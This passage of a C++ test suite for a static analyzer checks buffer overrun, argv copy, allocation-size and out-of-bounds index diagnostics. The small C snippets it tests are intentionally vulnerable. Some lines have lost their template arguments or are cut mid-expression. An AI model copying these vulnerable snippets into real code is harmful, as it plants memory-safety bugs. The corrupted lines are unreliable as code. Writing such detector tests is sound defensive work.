*const *const envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, options[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, options[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, *options);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog+3, *options);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" if (strlen(argv[0]) < 10)\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" if (10 > strlen(argv[0]))\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" argv[0][0] = '\\\\0';\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5835\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer overrun possible for long command line arguments.\\n\"\n \"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n // #7964\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" char *strcpy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" char *strcat();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkBufferAllocatedWithStrlen() {\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a)];\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a) + 1];\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a)];\\n\"\n \" a[0] = '\\\\0';\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" b = realloc(b, 10000);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" {\\n\"\n \" strcpy(b, a);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a) + 1);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a, char *c) {\\n\"\n \" char *b = (char *)realloc(c, strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a, char *c) {\\n\"\n \" char *b = (char *)realloc(c, strlen(a) + 1);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n }\n\n void scope() {\n check(\"class A {\\n\"\n \"private:\\n\"\n \" struct X { char buf[10]; };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" X x;\\n\"\n \" x.buf[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \"public:\\n\"\n \" struct X { char buf[10]; };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A::X x;\\n\"\n \" x.buf[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Array 'x.buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void getErrorMessages() {\n // Ticket #2292: segmentation fault when using --errorlist\n const Check& c = getCheck();\n c.getErrorMessages(this, nullptr);\n // we are not interested in the output - just consume it\n ignore_errout();\n }\n\n void arrayIndexThenCheck() {\n // extracttests.start: volatile int y;\n\n check(\"void f(const char s[]) {\\n\"\n \" if (s[i] == 'x' && i < y) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // No message because i is unknown and thus gets no varid. Avoid an internalError here.\n\n check(\"void f(const char s[], int i) {\\n\"\n \" if (s[i] == 'x' && i < y) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const char s[]) {\\n\"\n \" for (int i = 0; s[i] == 'x' && i < y; ++i) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if((a[i] < 2) && (i <= 42)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if((a[i] < 2) && (42 >= i)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n // extracttests.start: int elen;\n check(\"void f(char* e, int y) {\\n\"\n \" if (e[y] == '/' && elen > y + 1 && e[y + 1] == '?') {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int foo(int); int func(int);\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if(a[i] < func(i) && i <= 42) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if (i <= 42 && a[i] < func(i)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if (foo(a[i] + 3) < func(i) && i <= 42) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // sizeof\n \" sizeof(a)/sizeof(a[i]) && i < 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: extern int buf[];\n check(\"void f(int i) {\\n\" // ?:\n \" if ((i < 10 ? buf[i] : 1) && (i < 5 ? buf[i] : 5)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void arrayIndexEarlyReturn() { // #6884\n check(\"extern const char *Names[2];\\n\"\n \"const char* getName(int value) {\\n\"\n \" if ((value < 0) || (value > 1))\\n\"\n \" return \\\"???\\\";\\n\"\n \" const char* name = Names[value]; \\n\"\n \" switch (value) {\\n\"\n \" case 2:\\n\"\n \" break; \\n\"\n \" }\\n\"\n \" return name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void bufferNotZeroTerminated() {\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" strncpy(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" memcpy(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to memcpy().\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" memmove(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to memmove().\\n\", \"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = new int[-1];\\n\"\n \" delete [] a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)malloc( -10);\\n\"\n \" free(a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)alloca( -10 );\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"int* f(int n) {\\n\" // #11145\n \" int d = -1;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" d = std::max(i, d);\\n\"\n \" int* p = new int[d];\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning, inconclusive) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", errout_str());\n }\n\n void negativeArraySize() {\n check(\"void f(int sz) {\\n\" // #1760 - VLA\n \" int a[sz];\\n\"\n \"}\\n\"\n \"void x() { f(-100); }\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (error) Declaration of array 'a' with negative size is undefined behaviour [negativeArraySize]\\n\", errout_str());\n\n // don't warn for constant sizes -> this is a compiler error so this is used for static assertions for instance\n check(\"int x, y;\\n\"\n \"int a[-1];\\n\"\n \"int b[x?1:-1];\\n\"\n \"int c[x?y:-1];\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointerAddition1() {\n check(\"void f() {\\n\"\n \" char arr[10];\\n\"\n \" char *p = arr + 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (portability) Undefined behaviour, pointer arithmetic 'arr+20' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"char(*g())[1];\\n\" // #7950\n \"void f() {\\n\"\n \" int a[2];\\n\"\n \" int* b = a + sizeof(*g());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define ctu(code) ctu_(code, __FILE__, __LINE__)\n template\n void ctu_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings0, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings0, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctu_malloc() {\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[-3] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" char *s = malloc(4);\\n\"\n \" dostuff(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:7:10] -> [test.cpp:2:3]: (error) Array index out of bounds; buffer 'p' is accessed at offset -3. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[4] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" char *s = malloc(4);\\n\"\n \" dostuff(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:7:10] -> [test.cpp:2:3]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 4. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"void f(int* p) {\\n\" // #10415\n \" int b[1];\\n\"\n \" b[0] = p[5];\\n\"\n \" std::cout << b[0];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int* a = new int[1];\\n\"\n \" a[0] = 5;\\n\"\n \" f(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:12] -> [test.cpp:9:6] -> [test.cpp:3:12]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 20. [ctuArrayIndex]\\n\", errout_str());\n }\n\n void ctu_array() {\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[10] = 0;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" char str[4];\\n\"\n \" dostuff(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:5]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( char *data )\\n\"\n \"{\\n\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( str );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11] -> [test.cpp:3:5]: (error) Array index out of bounds; 'data' buffer size is 5 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( int i, char *data )\\n\"\n \"{\\n\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( 0, str );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11] -> [test.cpp:3:5]: (error) Array index out of bounds; 'data' buffer size is 5 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( int i, char *data )\\n\"\n \"{\\n\"\n \" data[i] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( 10, str );\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9] -> [test.cpp:3]: (possible error) Array index out of bounds.\\n\",\n \"\", errout_str());\n\n // This is not an error\n ctu(\"static void memclr( char *data, int size )\\n\"\n \"{\\n\"\n \" if( size > 10 )\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( str, 5 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2097\n ctu(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" --p;\\n\"\n \" p[2] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void bar()\\n\"\n \"{\\n\"\n \" int p[3];\\n\"\n \" foo(p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9112\n ctu(\"static void get_mac_address(const u8 *strbuf)\\n\"\n \"{\\n\"\n \" (strbuf[2]);\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void program_mac_address(u32 mem_base)\\n\"\n \"{\\n\"\n \" u8 macstrbuf[17] = { 0 };\\n\"\n \" get_mac_address(macstrbuf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9788\n ctu(\"void f1(char *s) { s[2] = 'B'; }\\n\"\n \"void f2(char s[]) { s[2] = 'B'; }\\n\"\n \"void g() {\\n\"\n \" char str[2];\\n\"\n \" f1(str);\\n\"\n \" f2(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7] -> [test.cpp:1:20]: (error) Array index out of bounds; 's' buffer size is 2 and it is accessed at offset 2. [ctuArrayIndex]\\n\"\n \"[test.cpp:6:7] -> [test.cpp:2:21]: (error) Array index out of bounds; 's' buffer size is 2 and it is accessed at offset 2. [ctuArrayIndex]\\n\",\n errout_str());\n\n // #5140\n ctu(\"void g(const char* argv[]) { std::cout << \\\"argv: \\\" << argv[4] << std::endl; }\\n\"\n \"void f() {\\n\"\n \" const char* argv[] = { \\\"test\\\" };\\n\"\n \" g(argv);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6] -> [test.cpp:1:55]: (error) Array index out of bounds; 'argv' buffer size is 1 and it is accessed at offset 4. [ctuArrayIndex]\\n\",\n errout_str());\n\n ctu(\"void g(const char* argv[]) { std::cout << \\\"argv: \\\" << argv[5] << std::endl; }\\n\"\n \"void f() {\\n\"\n \" const char* argv[1] = { \\\"test\\\" };\\n\"\n \" g(argv);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6] -> [test.cpp:1:55]: (error) Array index out of bounds; 'argv' buffer size is 1 and it is accessed at offset 5. [ctuArrayIndex]\\n\",\n errout_str());\n\n ctu(\"void g(int *b) { b[0] = 0; }\\n\"\n \"void f() {\\n\"\n \" GLint a[1];\\n\"\n \" g(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"const int a[1] = { 1 };\\n\" // #11042\n \"void g(const int* d) {\\n\"\n \" (void)d[2];\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" g(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:6] -> [test.cpp:3:11]: (error) Array index out of bounds; 'd' buffer size is 4 and it is accessed at offset 8. [ctuArrayIndex]\\n\",\n errout_str());\n }\n\n void ctu_variable() {\n ctu(\"void dostuff(int *p) {\\n\"\n \" p[10] = 0;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x = 4;\\n\"\n \" dostuff(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:5]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 40. [ctuArrayIndex]\\n\", errout_str());\n }\n\n void ctu_arithmetic() {\n ctu(\"void dostuff(int *p) { x = p + 10; }\\n\"\n \"int main() {\\n\"\n \" int x[3];\\n\"\n \" dostuff(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:1:28]: (error) Pointer arithmetic overflow; 'p' buffer size is 12 [ctuPointerArith]\\n\", errout_str());\n\n ctu(\"void f(const char *p) {\\n\" // #11361\n \" const char* c = p + 1;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" const char s[N] = \\\"ab\\\";\\n\"\n \" f(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void objectIndex() {\n check(\"int f() {\\n\"\n \" int i;\\n\"\n \" return (&i)[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:16]: (error) The address of variable 'i' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f(int j) {\\n\"\n \" int i;\\n\"\n \" return (&i)[j];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:16]: (warning) The address of variable 'i' might be accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int i;\\n\"\n \" return (&i)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int * i) {\\n\"\n \" return i[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector i) {\\n\"\n \" return i[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector i) {\\n\"\n \" return i.data()[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::vector& i) {\\n\"\n \" return &(i[1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int i; int j; };\\n\"\n \"int f() {\\n\"\n \" A x;\\n\"\n \" return (&x.i)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int i; int j; };\\n\"\n \"int f() {\\n\"\n \" A x;\\n\"\n \" int * i = &x.i;\\n\"\n \" return i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" m[1] = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" return m[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:5:14]: (error) The address of variable 'x' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int x = 0;\\n\"\n \"int f() {\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" return m[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:5:14]: (error) The address of variable 'x' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f(int * y) {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" m[1] = y;\\n\"\n \" return m[1][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void print(char** test);\\n\"\n \"int main(){\\n\"\n \" char* test = \\\"abcdef\\\";\\n\"\n \" print(&test);\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void print(char** test){\\n\"\n \" for(int i=0;i [test.cpp:4] -> [test.cpp:9]: (warning) The address of local variable 'test' might be accessed at non-zero index.\\n\",\n \"\",\n errout_str());\n\n check(\"void Bar(uint8_t data);\\n\"\n \"void Foo(const uint8_t * const data, const uint8_t length) {\\n\"\n \" for(uint8_t index = 0U; index < length ; ++index)\\n\"\n \" Bar(data[index]);\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" const uint8_t data = 0U;\\n\"\n \" Foo(&data,1U);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int n, int* p) {\\n\"\n \" int res = 0;\\n\"\n \" for(int i = 0; i < n; i++ )\\n\"\n \" res += p[i];\\n\"\n \" return res;\\n\"\n \"}\\n\"\n \"int bar() {\\n\"\n \" int single_value = 0;\\n\"\n \" return foo(1, &single_value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* app, size_t applen) {\\n\" // #10137\n \" char* tmp_de = NULL;\\n\"\n \" char** str = &tmp_de;\\n\"\n \" char* tmp = (char*)realloc(*str, applen + 1);\\n\"\n \" if (tmp) {\\n\"\n \" *str = tmp;\\n\"\n \" memcpy(*str, app, applen);\\n\"\n \" (*str)[applen] = '\\\\0';\\n\"\n \" }\\n\"\n \" free(*str);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"using vector = Eigen::Matrix;\\n\"\n \"template \\n\"\n \"void scharr(image2d>& out) {\\n\"\n \" vector* out_row = &out(r, 0);\\n\"\n \" out_row[c] = vector(1,2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint8_t* d, const uint8_t L) {\\n\" // #10092\n \" for (uint8_t i = 0U; i < L; ++i)\\n\"\n \" g(d[i]);\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" const uint8_t u = 4;\\n\"\n \" f(&u, N);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\" // #10154\n \" return ((uint8_t*)&u)[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return ((uint8_t*)&u)[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:26]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return reinterpret_cast(&u)[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return reinterpret_cast(&u)[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:45] -> [test.cpp:2:48]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" uint8_t* p = (uint8_t*)&u;\\n\"\n \" return p[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" uint8_t* p = (uint8_t*)&u;\\n\"\n \" return p[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:28] -> [test.cpp:3:13]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t* pu) {\\n\"\n \" uint8_t* p = (uint8_t*)pu;\\n\"\n \" return p[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { uint8_t padding[500]; };\\n\" // #10133\n \"S s = { 0 };\\n\"\n \"uint8_t f() {\\n\"\n \" uint8_t* p = (uint8_t*)&s;\\n\"\n \" return p[10];\\n\"\n \"}\\n\");\n 